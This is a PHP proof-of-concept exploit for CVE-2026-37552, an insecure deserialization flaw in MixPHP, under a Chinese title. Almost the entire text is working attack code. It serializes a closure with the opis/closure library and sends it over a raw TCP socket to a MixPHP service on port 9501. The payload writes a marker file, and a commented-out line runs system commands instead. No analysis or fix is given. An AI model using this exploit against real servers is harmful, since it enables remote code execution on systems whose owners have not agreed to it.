CVE-2026-37552 MixPHP不安全反序列化漏洞

<?php // PoC for CVE-2026-37552 // Requires opis/closure library: composer require opis/closure require 'vendor/autoload.php'; use Opis\Closure\SerializableClosure; // Define the malicious payload (e.g., execute a shell command) $malicious_function = function() { // Example: Create a file to prove execution file_put_contents('/tmp/poc_success.txt', 'CVE-2026-37552 Exploited'); // Or execute system command // system('whoami'); }; // Serialize the closure using Opis\Closure $payload = Opis\Closure\serialize($malicious_function); // Target configuration (Check target config for actual port) $host = '127.0.0.1'; $port = 9501; // Send the payload via TCP socket $socket = stream_socket_client("tcp://{$host}:{$port}", $errno, $errstr, 30); if (!$socket) { die("Connection failed: $errstr ($errno)\n"); } fwrite($socket, $payload); fclose($socket); echo "Payload sent to $host:$port\n"; echo "Check /tmp/poc_success.txt on the target server.\n"; ?>